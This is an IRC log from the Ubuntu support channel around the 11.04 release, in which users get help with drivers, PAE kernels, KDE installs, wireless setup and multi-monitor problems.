[13:21] <xc> Hi guys...can i install KDE on my ubuntu 11.04?
[13:21] <Irani> Any filtershekan?
[13:21] <zvacet> toggles: I never said I want gnome3 I just answered question
[13:21] <nanomad> nishttal, erroro?
[13:21] <arsenall_> xc: yes
[13:21] <nanomad> Technium, uh-oh
[13:21] <thegoodcushion> Does anyone know if 11.04 also installs the PAE kernel if it detects over 3 gig of RAM?
[13:21] <fachher> Hello everybody. I have a problem with my wlan connection.
[13:22] <nanomad> Technium, do you have a laptop?
[13:22] <freakynl> proxy avoidance software? To avoid what? If I make a transparent proxy for example you won't be able to avoid it if you're on my network
[13:22] <fachher> Can anybody help me.
[13:22] <nanomad> fachher, shoot!
[13:22] <arsenall_> if you want plasma desktop, go in synaptik, write kde desktop
[13:22] <toggles> zvacet: fair enough
[13:22] <zvacet> nishttal: did you tried on login screen choose ubuntu classic
[13:22] <Technium> Yes, the new Dell Latitude 6520
[13:22] <nishttal> nanomad, i have 2 x screens.. i see everything only on the main xscreen.. nothing on the 2nd xscreen
[13:22] <botcity> when i install 11.04 it detected the 4gig ram and installed pae
[13:22] <KrisDouglas> I am on 24gb ram
[13:22] <fachher> @nanomad For further details please read http://pastebin.com/zFxFYqN5
[13:22] <nishttal> zvacet, yes and it complained about lots of packages missing
[13:22] <nanomad> Technium, let me guess nvidia+intel with hot switching
[13:23] <rx007> hello guys
[13:23] <adamJ> can anyone help with a KDE install problem on Natty
[13:23] <Technium> Yes... but the LiveCD worked :)
[13:23] <toggles> nishttal: shouldn't break 11.04 http://www.webupd8.org/2010/10/install-gnome-shell-from-git-in-ubuntu.html
[13:23] <freakynl> KrisDouglas: 24? what do you do? They call me insane for have 12G in my workstation
[13:23] <nanomad> Technium, with unity?
[13:23] <Pepro> helo
[13:23] <Technium> Yup
[13:23] <Pepro> just installed gnome 3
[13:23] <zvacet> thegoodcushion: I made fresh install of natty and pae was installed by default
[13:23] <nishttal> Pepro, and any issues?
[13:23] <rx007> does anyone have problems with sound after suspend?
[13:23] <toggles> Pepro: better?
[13:23] <Pepro> but tells me could not update .iceAuthorityy
[13:23] <toggles> rm it
[13:23] <thegoodcushion> zvacet: next question : does your uname -a output include the letters pae?
[13:24] <fachher> I can surf through the internet, but when I download something, my connection to the router broke
[13:24] <arsenall_> rx007: no
[13:24] <nanomad> Technium, would you mind running the live cd again and posting some debug info from it (like video driver, modules)?
[13:24] <blackbit> fachher: excess number of simultaneous connections maybe?
[13:24] <thegoodcushion> zvacet: I installed 10.04 on my puter with 4 Gig RAM and I don't have the PAE thing installed.  I'm not sure whose fault that is
[13:24] <Technium> Sure, could you tell me how/what you need?
[13:24] <zvacet> thegoodcushion:  I'm not on Ubuntu comp right noe but yes when I boot only options are with pae kernel
[13:25] <thegoodcushion> I bloody knew I should have installed the 64-bit version
[13:25] <nanomad> Technium, just install xchat in the live cd and join back #ubunut
[13:25] <adamJ> is KDE installation currently broken from the Natty repositories?  getting unmet dependencies when attempting to install
[13:25] <Technium> Okay BRB
[13:25] <Pepro> just installed gnome 3
[13:25] <Pepro> but tells me could not update .iceAuthorityy
[13:25] <zvacet> thegoodcushion:  we discus thing witch can be solved in min time why
[13:25] <fachher> blackbit did you read this ? http://pastebin.com/zFxFYqN5
[13:25] <Irani> freakynl: it is used to bypass filtering
[13:26] <xc> Irani: what filtering?
[13:26] <thegoodcushion> zvacet: well at least I can download the PAE kernel.  31 megs, here we go
[13:26] <Irani> XC:internet filtering
[13:26] <sploenni> how can I disable unity in 11.04 when I build my own livecd with uck?
[13:27] <zvacet> thegoodcushion: and after installing remove one witch is not pae
[13:27] <thegoodcushion> zvacet: rebooting now, hang on
[13:28] <thegoodcushion> damn it, I shouldn't have to do this manually.  Ubuntu should do it automatically
[13:28] <zvacet> sploenni: I didn't try but maybe if you install with minimal cd you can choose what do you want to add
[13:28] <nanomad> thegoodcushion, not everyone wants PAE
[13:29] <thegoodcushion> Now the PAE kernel won't work with my nvidia drivers
[13:29] <nanomad> thegoodcushion, of course
[13:29] <xc> Irani : With online proxy have you try?
[13:29] <thegoodcushion> nanomad: So what do I do?  Run in text mode?
[13:29] <zvacet> thegoodcushion:  drivers doesn't work with kernel of course install drivers again
[13:29] <Dr_Willis> thegoodcushion:  you may need to reinstall them.  Ive never heard of any PAE/nvidia issues. but i dont use PAE. :)
[13:29] <thegoodcushion> zvacet: does that mean I have to do remove and install?
[13:30] <Dr_Willis> thegoodcushion:  how did you install them last time?
[13:30] <thegoodcushion> Dr_Willis: sudo apt-get install nvidia-current
[13:30] <thegoodcushion> I just did that again and it says they're already installed
[13:30] <Dr_Willis> thegoodcushion:  odd. It should of fixed them as part of the bootup.
[13:30] <sploenni> zvacet: what do you mean with minimal cd? i took the default desktop image and modified it. now i want to replace unity by gnome-classic (for live session as well as for installation). i just don't know where to switch it.
[13:30] <zvacet> thegoodcushion: I will not answer graphic related questions because I know very little about that
[13:30] <Dr_Willis> I thouight that was the whole point of that DKMS stuff.
[13:31] <thegoodcushion> I'll remove and reinstall.  Hang on.
[13:31] <nanomad> thegoodcushion, you could have built the driver manually using dkms ;)
[13:31] <zvacet> sploenni: I can not help you with that one
[13:31] <thegoodcushion> nanomad: Homey don't play that
[13:32] <Technium> Right I've booted into the LiveCD and have Unity
[13:32] <nanomad> Technium, good
[13:32] <sploenni> zvacet: thanks anyway. maybe someone else can...
[13:32] <adamJ> anyone able to help with a kde install problem and unmet dependencies on Ubuntu Natty?
[13:32] <nanomad> Technium, post xdriinfo somewhere
[13:32] <magum_> hi @all
[13:32] <rafii> thegoodcushion: have U tried go to rescue mode in safe graphic mode, and on nvidia drivers in gui with restricted drivers?
[13:32] <zvacet> sploenni:  of course someone will answer your question
[13:33] <sploenni> :)
[13:33] <botcity> !classic | sploenni hope this is what you want?
[13:33] <ubottu> sploenni hope this is what you want?: The default interface in Ubuntu 11.04 is !Unity. You can switch back to regular !Gnome by logging out and clicking on your user name, in the Session box at the bottom of the screen select Ubuntu Classic.
[13:33] <thegoodcushion> rafii: stand by, I'm trying to fix this
[13:33] <axio> how do i put something->name into a c string?
[13:34] <Pici> axio: Try ##C
[13:34] <olskolirc> Is natty finally released?
[13:34] <thegoodcushion> olskolirc: yes
[13:34] <olskolirc> thanks thegoodcushion
[13:34] <nanomad> !paste > Technium
[13:34] <ubottu> Technium, please see my private message
[13:34] <nishttal> this time i chose Ubuntu classic at login and i see Gnome
[13:34] <Dr_Willis> adamJ:   when in doubt try a 'sudo apt-get update' 'sudo apt-get upgrade' and try reinstalling 'kubuntu-desktop' again.  What package name are you trying to install exactly?
[13:35] <nishttal> however, i see window decorations on only 1 screen
[13:35] <thegoodcushion> Okay, nvidia drivers for my GTX 460 SE do not work with PAE kernel.  Full stop.
[13:35] <nishttal> the other screen windows do not have title bars nor am i able to type in them
[13:35] <nishttal> any clues?
[13:35] <nanomad> thegoodcushion, what's the error?
[13:35] <rafii> i have the similar problem, with fglrx after upgrade 10.10->11.04, system hang on 'checking battery state', and turn on fglrx drivers in gui tool, and work great :) i use PAE kernel
[13:35] <Dr_Willis> nishttal:  whats your video card/chipset?
[13:35] <magum_> Does sb here knows what keyboard config file, window managers such as fluxbox and Awesome are using?
[13:36] <nanomad> nishttal, thegoodcushion: PAE+closed source -> bad thing
[13:36] <nishttal> Dr_Willis, nvidia Quadro NVS 420
[13:36] <thegoodcushion> nanomad: On boot up I get a screen saying drivers gave an error
[13:36] <adamJ> Dr_Willis: tried all of those.  Trying either kde-full, kde-standard and kubuntu-desktop
[13:36] <adamJ> Dr_Willis: all give a long list of unmet dependencies which are all KDE apps and libraries
[13:36] <Vhozard> Hi, is there any torrent client for Ubuntu that can skip hash checking and can add multiple torrents at a time ?
[13:36] <Dr_Willis> nishttal:  theres some bugs it seems with Unity and the twinview/multi monitor support. :(
[13:36] <Technium> That immediately solved the issue - its the i965 driver :) Didnt realise that was accelerated enough to run unity
[13:37] <nanomad> Technium, that's how i thought
[13:37] <nishttal> Dr_Willis, i am not running unity
[13:37] <Dr_Willis> adamJ:  odd. and you did an apt-get update, and upgrade just a few min ago>
[13:37] <zyrorl> hey guys... i'm having an issue with 11.04... i can barely use it. it's sooooooooooooooooo slow. like constantly freezing, even in gnome safe mode
[13:37] <nanomad> Technium, you cannot use the nvidia card on linux
[13:37] <zyrorl> i had no problem at all with 10.10
[13:37] <nanomad> Technium, unless you play with vga_switcheroo
[13:37] <zyrorl> ultra fast etc.
[13:37] <nishttal> Dr_Willis, nanomad: is there a solution or do i have to roll back
[13:37] <adamJ> Dr_Willis: yes
[13:37] <Dr_Willis> nishttal:  what are you running then?
[13:37] <zyrorl> it seems to be because of the 2.6.38 kernel... if i try to boot using an older kernel its uber fast
[13:38] <zyrorl> does anyone else seem to have experienced this ?
[13:38] <nanomad> nishttal, back you should go
[13:38] <Dr_Willis> adamJ:  Not sure  what else to suggest. perhapas pastebin the error messages for the channel to look at.
[13:38] <nishttal> Dr_Willis, i logged out and chose the Ubuntu classic from the login menu
[13:38] <kapu> Aginor: looked into using pax, but, after severl failed attempte I opted to go with the 'dip computer in vat of fuming sulfuric acid' approach
[13:38] <nanomad> nishttal, between us....unity is crap
[13:38] <alumnos_> hello
[13:38] <zyrorl> anyone...
[13:38] <nishttal> nanomad, but i am using Ubuntu classic (gnome)
[13:38] <Dr_Willis> nishttal:  could be its a deeper bug then just with unity then.  You have ran thenvidia-settings tool. enabled twinview and then restarted the X server?
[13:38] <adamJ> anyone able to help with a kde install problem and unmet dependencies on Ubuntu Natty?: not sure what you mean by pastebin
[13:39] <nanomad> nishttal, uh-oh then I must have mixed the answers...forget mine
[13:39] <Dr_Willis> !pastebin | adamJ
[13:39] <ubottu> adamJ: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[13:39] <Technium> Sorry lost networking for a sec. xdriinfo output is "Screen 0: i965"
[13:39] <adamJ> sorry for the double post
[13:39] <zyrorl> apparently not
[13:39] <adamJ> Dr_Willis: not sure what youy mean by pastebin
[13:39] <nanomad> Technium, you cannot use nvidia on linux
[13:39] <alumnos> pacoooo!!
[13:39] <alumnos__> a+
[13:39] <nanomad> Technium, with the intel card
[13:39] <thegoodcushion> nanomad: why are you saying that?
[13:39] <alumnos> illo
[13:39] <nishttal> Dr_Willis, i have 3 monitors, 1 monitor on 1st xscreen and 2 monitors (with twinview) on 2nd x screen
[13:40] <alumnos> our mother are agrys
[13:40] <nanomad> thegoodcushion, nvidia+intel+how switching = nvidia driver not working
[13:40] <nishttal> Dr_Willis, i had the same issue with 10.10 and then someone here made me run a window decorator and that fixed it
[13:40] <alumnos_> ijosedeputa
[13:40] <thegoodcushion> ok
[13:40] <alumnos__> chino godo
[13:40] <alumnos_> tu madre
[13:40] <rafii> zyrorl: you tried turn off "sync with Vblank" in compiz-config in OpenGL section?
[13:40] <Technium> Okay. Why isn't the i965 being configured by default when I install?
[13:40] <Pici> wii alumnos__
[13:40] <bazhang> alumnos_, english here
[13:40] <Dr_Willis> nishttal:  we had a disscussion here the other day on  nvidia and 3 monitors. :)  but i havent done 3 moniotors in ages.  Sounds like its a twinview+compiz deeper issue. perhaps disable compiz?
[13:40] <nanomad> Technium, maybe xorg is freaking out because he sees two cards
[13:41] <nanomad> Technium, u should try this: Technium, if you are
[13:41] <nishttal> Dr_Willis, i dont think compiz is running
[13:41] <nanomad> Technium, this: https://help.ubuntu.com/community/HybridGraphics
[13:41] <rafii> zyrorl: and you can turn off "animations", gui will be faster
[13:42] <Dr_Willis> nishttal:  try alt-f2 'metacity --replace' and check perhaps.
[13:42] <Technium> Thanks for the link. I'm happy sticking with the i965, but I'm confused why that wasn't selected once I installed as it was when I booted the LiveCD.
[13:42] <perlsyntax> doesanyone know how i can what wireless card my dad has on ubuntu live cd?
[13:43] <nanomad> Technium, which model do you have exactly of laptop?
[13:43] <perlsyntax> i try the pci commands
[13:43] <adamJ> Dr_Willis: link to error http://pastebin.com/bA9ccb4M
[13:43] <nanomad> perlsyntax, lspci from terminal
[13:43] <perlsyntax> i did that
[13:43] <Technium> Dell Latitude 6520, new i7
[13:43] <perlsyntax> i see no wireless card.
[13:43] <nanomad> perlsyntax, output?
[13:43] <thegoodcushion> Okay, I just cannot get nvidia drivers working with PAE kernel
[13:43] <Technium> Sorry, E6520
[13:43] <perlsyntax> i don't have it online.
[13:44] <vanguard> I just enabled the compiz-cubes, I can drag winows around, but the windows in the taskbar are not refreshed anymore
[13:44] <perlsyntax> i think it broandcom wireless card.
[13:44] <BOBBY_> Hello I have a USB Dongle in the computer and I have used the built in tool in the top right to connect to my network it asked for the password but then the connection indicator flashes 1 then 2 then 3 then 4 and i annot connect what shoukd I do
[13:45] <nanomad> perlsyntax, what's the problem? no drivers installed?
[13:45] <adamJ> Dr_Willis: adding all the depends gives the following: http://pastebin.com/8SPTPXBE
[13:45] <thegoodcushion> I wish there were an option to upgrade from 32-bit to 64-bit distro
[13:45] <deerfield> good morning all, I'm using 11.04 and IDE Aptana 2. I don't like Aptana and I'm looking for alternative. Any suggestions on something I can access my remote site with?
[13:45] <BOBBY_> Hello I have a USB wireless Dongle in the computer and I have used the built in tool in the top right to connect to my network it asked for the password but then the connection indicator flashes 1 then 2 then 3 then 4 and i annot connect what shoukd I do
[13:45] <Dr_Willis> adamJ:  you have done a 'sudo apt-get update' recently AND a sudo apt-get upgrade?
[13:45] <perlsyntax> the ubuntu cd work but the wireles card won't.
[13:45] <spacebug-> is there a package to uninstall or a config to make to always have scrollbars visible?
[13:45] <edbian> perlsyntax: Did you install Ubuntu yet?
[13:46] <sipior> thegoodcushion: if you have a separate home or data partition, a reinstall wouldn't take you very long.
[13:46] <adamJ> Dr_Willis: yes, from both synaptic and command line
[13:46] <Dr_Willis> spacebug-:  i saw a tweak to do that at the webupd8 blog site.
[13:46] <[4-tea-2]> Can Unity's dash search for anything but applications? If yes, how can I tell it where the stuff is that it refuses to go looking for?
[13:46] <thegoodcushion> sipior: Yeah I guess so
[13:46] <perlsyntax> no i just put in the live cd.
[13:46] <thegoodcushion> Well if I want to use all 4 gigs of RAM I have to
[13:46] <spacebug-> Dr_Willis: ok tnx, I'll look there
[13:46] <BOBBY_> Hello I have a USB Network Dongle in the computer and I have used the built in tool in the top right to connect to my network it asked for the password but then the connection indicator flashes 1 then 2 then 3 then 4 and i annot connect what shoukd I do
[13:47] <nishttal> Dr_Willis, metacity replace fixes the issue
[13:47] <Dr_Willis> [4-tea-2]:  the files-and-folders lense has    file searxch feature it seems.
[13:47] <raju> BOBBY_:  i think u need to leave the password box as empty
[13:47] <BOBBY_> Hello I have a USB Dongle in the computer and I have used the built in tool in the top right to connect to my network it asked for the password but then the connection indicator flashes 1 then 2 then 3 then 4 and i cannot connect what should I do
[13:47] <nishttal> Dr_Willis, but i did not get the prompt back
[13:47] <root_> did any one have xchat(ubuntu) desktop-screenshot script?
[13:48] <[4-tea-2]> Dr_Willis: no tracker/beagle like functionality anywhere?
[13:48] <Dr_Willis> nishttal:  you dident use a & at the end. :)
[13:48] <botcity> BOBBY_, there must be a pop up with error message?
[13:48] <nishttal> Dr_Willis, and if i kill it, both screens go bad
[13:48] <BOBBY_> raju it asked for a security key not an access password
[13:48] <nishttal> Dr_Willis, do i have to do that everytime i login?
[13:48] <Dr_Willis> nishttal:  try ctrl-z tjhen the bg command, then exit command.. DONT just hit the terminal close button
[13:48] <BOBBY_> No it just shows i bar signal then 2 then 3
[13:48] <raju> BOBBY_:  are u using kubuntu or ubuntu
[13:48] <BOBBY_> ubuntu
[13:48] <BOBBY_> 11.04
[13:48] <Dr_Willis> nishttal:  install fusion-icon  and check it to use metacity. but i think metacity --replace, should be rembered
[13:48] <perlsyntax> I not sure what to do.
[13:48] <root_> .
[13:49] <happolati> Anyone know why blackjack is no longer part of the gnome-games package?
[13:49] <raju> enter u r root password
[13:49] <perlsyntax> esbian,Is there any other way.
[13:49] <raju> BOBBY_: enter u r root pwd
[13:49] <edbian> perlsyntax: Have you installed Ubuntu?
[13:49] <BOBBY_> whats a root password
[13:49] <moi> hello room
[13:49] <[4-tea-2]> Hmmmm, the files and folder search only seems to know about selected documents - I guess that's what Zeitgeist does. I thought Zeitgeist was something like beagle.
[13:49] <nishttal> Dr_Willis, so i cant use compiz on this
[13:49] <nishttal> Dr_Willis, it was working great on 10.10
[13:49] <zombified> hello all
[13:50] <perlsyntax> edbian,i don't want to install ubuntu yet to i know what wireless card he has.
[13:50] <Dr_Willis> adamJ:  I would have to wonder if your /etc/apt/sources.list is messed up. or somthing is missing to not show those packages.
[13:50] <Dr_Willis> nishttal:  no idea. there may be some tweak.
[13:50] <edbian> perlsyntax: Who is 'he' ?
[13:50] <perlsyntax> my ad
[13:50] <perlsyntax> my dad all he want is the wirelesscard to work.
[13:50] <adamJ> Dr_Willis: I am wondering the same, generating a defaults one at the moment
[13:50] <edbian> perlsyntax: Do you know the chipset of the card?
[13:50] <zombified> anyone here know how to install .exe files on backtrack4?
[13:50] <perlsyntax> no i don't
[13:51] <bazhang> zombified, #backtrack-linux for bt4 support
[13:51] <Dr_Willis> zombified:  you run exes in wine. with wine.. :)
[13:51] <moi> i have a problem with my sound card i get no sound at all on my laptop and when i probe it could not detedt my sound card i use dv artist edition hp laptop
[13:51] <perlsyntax> i did a lspci with the live cd everything show up by the wireless card.
[13:51] <zombified> lol ok
[13:51] <Dr_Willis> zombified:  and see  the BT channel :)
[13:51] <BOBBY_> Hello I have a USB Dongle in the computer and I have used the built in tool in the top right to connect to my network it asked for the password but then the connection indicator flashes 1 then 2 then 3 then 4 and i cannot connect what should I do
[13:51] <raju> BOBBY_:  yaar u r sudo password
[13:51] <edbian> perlsyntax: Please start your sentences with my name like I"m doing for you.
[13:51] <edbian> perlsyntax: Is the kill switch on / off?  That would cause it not to show up in lspci.
[13:51] <Spiso> hey, I'm trying to set my screen refresh rate to 75Hz on Lucid 10.04
[13:51] <Spiso> there is no xorg.conf as I found out so I created one with
[13:52] <Spiso> Xorg -configure
[13:52] <Spiso> it did create it with SubSection "Display" Modes "1920x1080_75"
[13:52] <Spiso> it put the .xorg.conf into my home folder, so I copied it as xorg.conf to /etx/X11
[13:52] <FloodBot1> Spiso: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:52] <Spiso> but it doesn't work still, the only options in Monitors=>Refresh rate is 60Hz
[13:52] <bazhang> raju, thats not correct. please stop suggesting that
[13:52] <BOBBY_> raju: ???
[13:52] <Blou_Aap> how do I configure the panels in 11.04 ?
[13:52] <perlsyntax> edbian,How do i do that?
[13:52] <bazhang> BOBBY_, use sudo , ignore raju
[13:52] <Dr_Willis> Blou_Aap:  other t hen some tweaking . you dont configure unity a lot.
[13:52] <edbian> perlsyntax: Does the laptop have a physical wifi switch?  Do you know what I'm talking about?
[13:52] <moi> my name is moi i have a problem with my sound card i get no sound at all on my laptop and when i probe it could not detedt my sound card i use dv artist edition hp laptop
[13:52] <alkemann> https://bugs.launchpad.net/ubuntu/+source/php5/+bug/774452   - is this fix available?
[13:52] <ubottu> Ubuntu bug 774452 in php5 (Ubuntu) "php-pear: pecl install reports Call to undefined method PEAR::raiseErro()" [High,Confirmed]
[13:53] <perlsyntax> i check
[13:53] <BOBBY_> bazhang :: whats sudo ???
[13:53] <raju> BOBBY_:  follow him ...genuinely i dont know  much about this , but i am trying thats it . dont mind yaar
[13:53] <Blou_Aap> Dr_Willis, but I have dual screen, dont want two panels
[13:53] <bazhang> !sudo | BOBBY_
[13:53] <ubottu> BOBBY_: sudo is a command to run command-line programs with superuser privileges ("root") (also see !cli). Look at https://help.ubuntu.com/community/RootSudo for more information. For graphical applications see !gksu (GNOME, Xfce), or !kdesudo (KDE). If you're unable to execute commands with sudo see: http://www.psychocats.net/ubuntu/fixsudo
[13:54] <alkemann> BOBBY_: su means super user and do means to do. sudo means do as super user
[13:54] <botcity> BOBBY_, i think its asking for your keyring password
[13:54] <Strav> Hi. I'm trying to mount an ext4 raid5 array as a samba share but I cannot seem to be able to get write permissions from the client side (sudo is needed for any write op). In smb.conf, the create mask is 0775, the share is browseable and writeable, the user I use to connect with is in the valid users as well as in the write list and the command I'm using to mount is sudo mount -t smbfs -o username=strav,password=mypassword,umask=000
[13:54] <Strav> //192.168.0.150/share /mnt. I tried chmoding 777 all of the mounted share, no success. Any advice?
[13:55] <perlsyntax> edbian,There a light by the side of the laptop.Could that be it
[13:55] <BOBBY_> botcity: No its security key
[13:55] <edbian> perlsyntax: Well I'm guessing a light would indicate that the card is on.
[13:55] <kapu> exit
[13:55] <edbian> perlsyntax: But that could be it.  What kind of laptop is this?
[13:55] <perlsyntax> edbian,HP
[13:55] <edbian> perlsyntax: hp what?
[13:55] <perlsyntax> laptop
[13:55] <BOBBY_> it says "authenticiation required by wireless network
[13:56] <edbian> perlsyntax: really...
[13:56] <BOBBY_> [13:47] <BOBBY_> Hello I have a USB Dongle in the computer and I have used the built in tool in the top right to connect to my network it asked for the password but then the connection indicator flashes 1 then 2 then 3 then 4 and i cannot connect what should I do
[13:56] <alkemann> how do i get something when pecl doesnt work on natty?
[13:56] <zamba> how do i install the windows codecs for mplayer in 11.04?
[13:56] <catphish> is it possible to change the default ethernet bonding mode in 10.04 server? i am having a lot of problems with the reliability of setting the bonding mode using the interfaces config file
[13:56] <bazhang> zamba, ubuntu-restricted-extras and w32codecs from medibuntu.org
[13:57] <BOBBY_> Hello I have a USB Wireless Dongle in the computer and I have used the built in tool in the top right to connect to my network it asked for the password but then the connection indicator flashes 1 then 2 then 3 then 4 and i cannot connect what should I do
[13:57] <bazhang> BOBBY_, its the wireless password; is this wep, wpa, wpa2 or what
[13:57] <zamba> bazhang: ok, let's try
[13:57] <raju> BOBBY_:  capture the screen shot and send to him ...he can understand better ...use print screen for that
[13:58] <perlsyntax> edian,HP Pavilon dv2125nr
[13:58] <BOBBY_> bazhang:WPA2
[13:58] <edbian> perlsyntax: Typo on my name bro
[13:58] <bazhang> BOBBY_, enter the wpa2 password then
[13:58] <BOBBY_> I entered the password
[13:59] <BOBBY_> It still shows the flashing indicator
[13:59] <bazhang> BOBBY_, be sure you typed it correctly, disable keyboard repeat in keyboard settings
[13:59] <BOBBY_> OK
[13:59] <perlsyntax> edbian,Here what i found http://ubuntuforums.org/showthread.php?t=334992
[14:00] <Cerdabr> is there a chatroom for wine ??
[14:00] <LjL> Cerdabr: #winehq
[14:00] <Cerdabr> LjL: ty
[14:01] <perlsyntax> edbian,Look like it broadcom driver
[14:01] <[4-tea-2]> I'm using Firefox 4 (mozillateam-PPA) and lost flash audio since upgrading from maverick to natty (which reintroduced pulseaudio to my system). Is there a standard workaround for flash + pulse or is it just supposed to work?
[14:01] <edbian> perlsyntax: sudo apt-get install firmware-b43-installer
[14:01] <BOBBY_> bazhang: IT WORKS
[14:01] <bazhang> BOBBY_, good news then
[14:02] <BOBBY_> Thanks Thanks Thanks Thanks Thanks
[14:02] <edbian> bazhang: I hate when they're so surprised!  Don't they have any faith at all?
[14:02] <bazhang> edbian, heh
[14:02] <zamba> how do i automatically roll out a printer driver using ubuntu and cups?
[14:02] <BOBBY_> Now to get bluetooth working
[14:02] <zamba> this will be for windows machines
[14:03] <bazhang> zamba, whats the printer, check linuxprinting.org database
[14:03] <cyoz> hmm any way to keep a symbol to a folder on the unity bar?
[14:03] <gare> good morning!!  so .. This link is dead for http://www.ubuntu.com/download/ubuntu/alternative-download#bt  for ubuntu-11.04-netbook-i386.iso.torrent  .  IS there a netbook edition any longer?  (Thank you for any help.)
[14:03] <sim-value> Does unity work w/o 3D accell ?
[14:03] <zamba> bazhang: it's supported there, yeah
[14:03] <zamba> bazhang: xerox workcentre
[14:03] <himcesjf> Can anyone help me configure vmpk
[14:03] <himcesjf> !info vmpk
[14:03] <ubottu> vmpk (source: vmpk): Virtual MIDI Piano Keyboard. In component universe, is extra. Version 0.3.3-1 (natty), package size 442 kB, installed size 1432 kB
[14:03] <vega> gare: no there isn't, it's the same as normal ubuntu
[14:04] <bazhang> sim-value, unity-2d is the package you'd want for that
[14:04] <gare> cool vega.  Thanks.  so perhaps someone will remove that link from page.
[14:04] <edbian> perlsyntax: You'll have to be connected to the Internet in some other way of course
[14:05] <sim-value> bazhang, so a standard install of natty will suceed and not give errors
[14:05] <perlsyntax> edbian,Eth0 works in linux:)
[14:05] <edbian> perlsyntax: Well there ya go :)
[14:05] <alkemann> how do i get the recent pecl fix?
[14:05] <bazhang> sim-value, if you dont have the card gnome classic should be default, if you want the unity look without 3d accell then install the unity-2d package
[14:06] <perlsyntax> edbian,All i need to install is firmware b43-installer?
[14:06] <sim-value> bazhang thanks!
[14:06] <Technium> I think I need to enable the i965 drivers to enable Unity on this laptop can't figure out how
[14:06] <Vhozard> Hi, is there any torrent client for Ubuntu that can skip hash checking and can add multiple torrents at a time ?
[14:06] <edbian> perlsyntax: I believe so yes.
[14:06] <bazhang> Technium, for an nvidia card?
[14:06] <Technium> No, there's both in here and the LiveCD works with Unity using the i965 driver
[14:07] <perlsyntax> edbian,That in the apt-get and thanksor the help.
[14:07] <edbian> perlsyntax: Well do it and make sure it works! :D
[14:07] <bazhang> Technium, whats the card
[14:07] <Technium> Its a laptop so not sure exactly
[14:08] <adamJ> Dr_Willis: KDE now installing.  Not really sure what was wrong with my repository list, but a reset to the defauls has resolved the issue.  Strange as it was just the one left by the install anyway
[14:08] <bazhang> Technium, lspci to paste.ubuntu.com (from the terminal)
[14:09] <Technium> http://paste.ubuntu.com/602759/
[14:09] <perlsyntax> edbian,i praying for it to work.
[14:10] <edbian> perlsyntax: Did you install it using that command?  Did that command give any errors?
[14:10] <Dr_Willis> adamJ:  weirdness. :)
[14:10] <himcesjf> Can anyone help me configure vmpk?
[14:10] <himcesjf> !info vmpk
[14:10] <ubottu> vmpk (source: vmpk): Virtual MIDI Piano Keyboard. In component universe, is extra. Version 0.3.3-1 (natty), package size 442 kB, installed size 1432 kB
[14:12] <Technium> bazhang, http://paste.ubuntu.com/602759/
[14:13] <bazhang> http://ubuntuforums.org/showthread.php?t=1726575 Technium there's a PPA for that, also see if you can disable Optimus in the bios
[14:14] <Technium> bazhang: thanks, i'll look into that
[14:14] <bazhang> http://www.ubuntuupdates.org/ppa/ubuntu-x-swat?dist=natty  Technium this is the PPA
[14:14] <ericP> after upgrading to 11.04, how do i set e.g. the layout of virtual desktops?
[14:15] <ericP> my familiar compiz environment has been replaced by something that looks like a darwin desktop
[14:15] <andeeeuk> does anyone know how to remove history in 11.04?
[14:15] <andeeeuk> and not keep folder history?
[14:16] <andeeeuk> the menu shows files and folders and i dont want to show all my history
[14:16] <Technium> bazhang, id be happy sticking with the intel driver as that seemed to work fine on the LiveCD and I don't tend to need 3d... is that easier?
[14:18] <vivid> is there a fix for grub/plymouth with nvidia on 11.04?  grub is stuck in fail mode and wont autoboot and plymouth is a black screen
[14:19] <spacebug-> Dr_Willis: tnx I found many things I wanted on that site
[14:19] <Wipster> Hi all, recently since upgrading my ubuntu 10.10 to 11.04 (Xserver 1.10.1) I am getting some X crashes and restarts surrounding web browsing (coincidence perhaps) here is a copy of my Xorg.0.log.old from the backtrace: http://pastebin.com/Jyr9WXhp
[14:19] <gare> What are odds that 11.04 unity will not run on my original 9" Dell Mini ? ..   :)
[14:20] <bazhang> Technium, well if you want gnome-classic choose that from the login window, if you want non3d unity install the unity-2d package and select that at login window
[14:20] <andeeeuk> Is there a way to clear history in 11.04?
[14:21] <Technium> bazhang - I had Unity working on LiveCD without doing anything - it used the i965
[14:21] <g3orge> why 04 and 10 versions??
[14:21] <g3orge> why not .01 .02 .03 etc
[14:21] <g3orge> ???
[14:21] <Technium> bazhang - I'd like to get that working now I've installed
[14:21] <mstef> anyone else experiencing tons of problems with dual screen? i was hoping it would be fixed in 11.04. seems much worse, especially with unity.
[14:21] <vivid> mstef, yes
[14:22] <vivid> second screen has no window manager for me and is unusable
[14:22] <gare> g3eorge:  named after Year:Month of release so 11.04
[14:22] <gare> g3orge:  named after Year:Month of release so 11.04
[14:22] <Abhijit> hi
[14:22] <dp> is there a way to see *when* a package was installed?
[14:22] <andeeeuk> has anyone been able to clear there history from the menu? something quite simple but cant find where to do it?
[14:22] <trap24> for the 1st time as I login, its 1720 users, ubuntu rockin' at peak today
[14:22] <mstef> vivid: yea.. i'm getting 8 workspaces now..and windows are being sent to each of them automatically.. maximized windows get cut off and you can't see the top of them, etc
[14:22] <mstef> ah
[14:22] <constl> mstef: It worked for me but gave me a bit of trouble at the beginning
[14:23] <gare> andeeeuk:  what history are your referring to?
[14:23] <mstef> my problem with 10.10 was that if you disabled the external monitor, they both went blank..and you had to reboot
[14:23] <Sik> Hello, does anybody know if there's any known fix for video issues with 11.04? I'm tired of booting in safe mode... Not even the VESA drivers work properly! (and in text mode Ubuntu loads garbage instead of the charset) :|
[14:23] <stimpie> somebody knows a util to unzip a zlib file?
[14:23] <vivid> anyone know a fix for broken grub and plymouth with nvidia drivers in 11.04?
[14:23] <edbian> Sik: card?
[14:23] <g3orge> wow
[14:23] <Sik> edbian: GeForce 7300 GS
[14:23] <andeeeuk> gare the history from the menu
[14:23] <gnuskool> Hi, I recently upgraded to 11.04, the top gnome-panel has text, but it is black ---so is the bar. How do I change text or bar color?
[14:23] <edbian> Sik: Did you turn on nomodeset  ?
[14:23] <Abhijit> stimpie, install 7zip
[14:24] <Sik> edbian: what's that? (so no :P)
[14:24] <andeeeuk> gare where you search at the top?
[14:24] <knifepoint> andeeeuk: http://askubuntu.com/questions/29559/how-can-i-keep-recent-files-from-appearing-in-unity
[14:24] <mbeierl> anyone know how to boot the natty iso from grub2?  I've tried unetbootin and manually entering it into grub2 and both give me errors about loading the kernel first
